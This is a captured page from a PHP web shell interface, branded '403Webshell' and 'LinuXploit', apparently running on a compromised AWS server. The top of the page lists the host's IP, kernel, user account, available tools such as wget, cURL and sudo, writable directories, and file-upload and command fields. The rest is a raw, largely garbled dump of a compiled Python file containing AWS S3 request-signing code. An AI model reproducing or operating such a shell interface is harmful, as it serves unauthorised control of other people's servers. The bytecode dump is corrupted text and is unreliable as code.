403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/cfnbootstrap/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cfnbootstrap/__pycache__/auth.cpython-39.opt-1.pyc
a

��0i@4�@sddlmZmZddlZddlmZmZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
mZmZmZmZmZmZdZdZdZdZe�d	�Zd
d�ZGdd
�d
e�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Z Gdd�de�Z!Gdd�de�Z"Gdd�de�Z#dS)�)�
endpoint_tool�utilN)�AuthBase�
HTTPBasicAuth)�urlparse�urlsplit�urljoin�parse_qs�quote�unquotezx-amz-content-sha256z
x-amz-dateZ
Authorizationzx-amz-security-tokenzcfn.initcCsPt�d|�}|durdS|�|�}|sBt|�jdd��d�dS|�d�SdS)N�AmazonS3��/r�.)r�get_endpoint_for_url�get_subdomain_prefixr�path�	partition�rstrip)�unparsed_url�endpoint�bucket�r�5/usr/lib/python3.9/site-packages/cfnbootstrap/auth.py�_extract_bucket_from_url#s
rc@s>eZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�ZdS)�S3SignerNcCs||_||_tjj|_dS�N)�_creds�_region�datetime�utcnow�_nowfunction)�self�creds�regionrrr�__init__6szS3Signer.__init__cKs�|jr�d|jvr�t|jd�dur�t�d|jd�|j|j��|j�	�}|j�
td�|j�
td�|j�
t
d�|j�
td�|jd|_|�|�}|jj|fi|��}|j�|�||_|St�d|jd�|S)NZLocationz$Handling redirect to S3 location: %s�zS3 redirected to non-S3 url: %s)Zis_redirect�headersr�log�warnZcontent�rawZrelease_connZrequest�copy�pop�_SECURITY_TOKEN_HEADER�_AUTHORIZATION_HEADER�_AMZ_DATE_HEADER�_AMZ_CONTENT_SHA_HEADER�url�signZ
connection�send�history�append�error)r"�r�kwargsZprepZ_rrrr�handle_redirect<s,�


�zS3Signer.handle_redirectcCs<|�d|j�tt|d�r |jn|j�}|j}|sdt�d|�}|j	r^t
�d�t|j
��|�S|j}t|�}|��}|�d�}|�d�}|d|d}	||jt<|j
jr�|j
j|jt<|j|jd	<t�|jdur�|jnd
�d����}
|
|jt<|jd}||�|�d7}||� t!|j"d
��d7}|j�#�}|�$|�\}
}||
d|d7}||
7}d|d|	dt�|�d����}t%�&d|j
j'�d�|�d�tj��(�}t%�&||�d�tj��(�}t%�&|d�d�tj��(�}t%�&|d�d�tj��(�}t%�&||�d�tj���}|j
j)d|	}d|||f|jt*<|S)NZresponse�full_urlrzHFalling back to Signature Version 2 as no region was specified in S3 URLz%Y%m%dT%H%M%SZz%Y%m%drz/s3/aws4_request�hostr&�utf-8�
TzAWS4-HMAC-SHA256
ZAWS4�s3Zaws4_requestz<AWS4-HMAC-SHA256 Credential=%s,SignedHeaders=%s,Signature=%s)+Z
register_hookr9r�hasattrr:r1rrrZ
is_defaultr(r)�
S3V2Signerrr2r$rr!�strftimer'r/�security_tokenr-�netloc�hashlibZsha256�body�encodeZ	hexdigestr0�method�_canonicalize_uri�_canonicalize_queryr	�queryr+�_canonicalize_headers�hmac�new�
secret_key�digest�
access_keyr.)r"�reqr:r$r�parsedZ	timestampZtimestamp_formattedZtimestamp_shortZscopeZhashed_payloadZcanonical_requestZheaders_to_signZcanonical_headersZsigned_headersZstring_to_signZderived_keyZ	signatureZ
credentialrrrr2]s���


�

��
����
��
��
��
���z
S3Signer.signcCs<t|�}|jsdSttd|j�d���j}|r8t|d�SdS)Nrzhttp://foo.comz/~)rrr�lstripr
)r"�uri�splitrrrrrH�s�zS3Signer._canonicalize_uricCsv|sdSg}|��D]8}|dD]*}|�t|dd�|rBt|d�ndf�q qt|t�dd�d�}d�dd�|D��S)	Nr&r
r�~��key�&css|]}d�|�VqdS)�=N��join)�.0Zpairrrr�	<genexpr>��z/S3Signer._canonicalize_query.<locals>.<genexpr>)�itemsr5r
�sorted�operator�
itemgetterr\)r"�paramsZ
encoded_pairs�entry�valueZsorted_pairsrrrrI�s��zS3Signer._canonicalize_querycCs�i}dd�|��D�D].\}}||vr<||d|||<q|||<qt|��t�d�d�}d�dd�|D��dd�d	d�|D��fS)
Ncss,|]$\}}|��t�dd|���fVqdS)z
(?su)[\s]+� N)�lower�re�sub�strip)r]rXrfrrrr^�r_z1S3Signer._canonicalize_headers.<locals>.<genexpr>�,rrWr=css|]}d�|�VqdS)�:Nr[�r]rerrrr^�r_�;css|]}|dVqdS)rNrrnrrrr^�r_)r`rarbrcr\)r"r'Z
canon_headersrXrfZsorted_entriesrrrrK�s
�zS3Signer._canonicalize_headers)N)	�__name__�
__module__�__qualname__r%r9r2rHrIrKrrrrr4s
!F	rc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
r@cCs
||_dSr)r)r"r#rrrr%�szS3V2Signer.__init__cCs�d|jvr(tj��jdd��d�|jt<|jjr>|jj|jt<|j	d}||j�
dd�d7}||j�
dd�d7}||j�
d	d�d7}||�|�7}||�|�7}t
�t�|jj�d
�|�d
�tj�������d
�}d|jj|f|jt<|S)NZDater)Zmicrosecondz%a, %d %b %Y %H:%M:%S GMTr=zcontent-md5r&zcontent-type�dater<z	AWS %s:%s)r'rr �replacerAr/rrBr-rG�getrK�_canonicalize_resource�base64ZencodebytesrLrMrNrFrDZsha1rOrk�decoderPr.)r"rQZstringToSignZsignedrrrr2�s*

��

"��zS3V2Signer.signcCs8dd�|j��D�}|r4d�dd�t|�D��dSdS)NcSs*g|]"\}}|���d�r|��|f�qS)zx-amz)rh�
startswith�r]Zhdr�valrrr�
<listcomp>�s�z4S3V2Signer._canonicalize_headers.<locals>.<listcomp>r=cSsg|]\}}|d|�qS)rmrrzrrrr|�r_r&)r'r`r\ra)r"rQr'rrrrK�sz S3V2Signer._canonicalize_headerscCsVt|d�r|jn|j}t�d|�}|�|�}t|�}|s>|jSd|�d�|jSdS)Nr:rrr)	r?r:r1rrrrrr)r"rQrrrr1rrrrv�s
z!S3V2Signer._canonicalize_resourceN)rprqrrr%r2rKrvrrrrr@�sr@c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�
S3DefaultAuthcCs
i|_dSr��
_bucketToAuth�r"rrrr%�szS3DefaultAuth.__init__cCs||j|<dSrr~)r"r�	auth_implrrr�add_auth_for_bucket�sz!S3DefaultAuth.add_auth_for_bucketcCs*|�|�}|r&||jvr&|j||�S|Sr)�_extract_bucketr)r"rQrrrr�__call__s
zS3DefaultAuth.__call__cCstt|d�r|jn|j�S�Nr:)rr?r:r1�r"rQrrrr�szS3DefaultAuth._extract_bucketN)rprqrrr%r�r�r�rrrrr}�sr}c@seZdZdd�Zdd�ZdS)�
S3RoleAuthcCs
||_dSr)�	_roleName)r"�roleNamerrrr%szS3RoleAuth.__init__cCstt�|j���|�Sr)rrZget_role_credsr�r2r�rrrr�szS3RoleAuth.__call__N�rprqrrr%r�rrrrr�sr�c@seZdZdd�Zdd�ZdS)�S3AuthcCstt�||��|_dSr)rrZCredentials�_signer)r"rPrNrrrr%szS3Auth.__init__cCs|j�|�Sr)r�r2r�rrrr�szS3Auth.__call__Nr�rrrrr�sr�c@s$eZdZdd�Zdd�Zdd�ZdS)�BasicDefaultAuthcCs
i|_dSr)�_authsr�rrrr% szBasicDefaultAuth.__init__cCs8tt|d�r|jn|j�j}||jvr4|j||�S|Sr�)rr?r:r1rCr�)r"rQZbase_urirrrr�#s�
zBasicDefaultAuth.__call__cCst||�|j|<dSr)rr�)r"rT�username�passwordrrr�add_password+szBasicDefaultAuth.add_passwordN)rprqrrr%r�r�rrrrr�sr�c@seZdZdd�Zdd�ZdS)�DefaultAuthcCs||_||_dSr�Z_s3Z_basic)r"r>�basicrrrr%1szDefaultAuth.__init__cCs|�|�|��Srr�r�rrrr�5szDefaultAuth.__call__Nr�rrrrr�/sr�c@seZdZdd�Zdd�ZdS)�AuthenticationConfigc	Cs~i|_t�}t�}|��D�]P\}}|�dd�}d|��kr�d}d|vrdd|vrdt|d|d�}n"d|vrzt|d�}nt�	d�q||j|<d|vr�t
|dt�r�|dgn|d}|D]}	|�|	|�q�qd	|��k�r`t
|�d
�|�d��|j|<d|v�rlt
|dt��r4|�|d|�d
�|�d��n*|dD] }
|�|
|�d
�|�d���q<qt�	d
|�qt||�|_dS)N�typer&r>ZaccessKeyIdZ	secretKeyr�zCS3 auth requires either "accessKeyId" and "secretKey" or "roleName"�bucketsr�r�r�Zurisz$Unrecognized authentication type: %s)r�r}r�r`rurhr�r�r(r)�
isinstance�strr�rr�r��_defaultAuth)r"ZmodelZs3AuthZ	basicAuthrXZconfigZ
configTyper�r�r�urrrr%;sZ��
���

��
��
zAuthenticationConfig.__init__cCs|r||jvr|jS|j|Sr)r�r�)r"rXrrr�get_authhszAuthenticationConfig.get_authN)rprqrrr%r�rrrrr�9s-r�)$ZcfnbootstraprrrbZ#cfnbootstrap.packages.requests.authrrrwrrDrLZloggingri�urllib.parserrrr	r
rr0r/r.r-Z	getLoggerr(r�objectrr@r}r�r�r�r�r�rrrr�<module>s0 
/		

Youez - 2016 - github.com/yon3zu
LinuXploit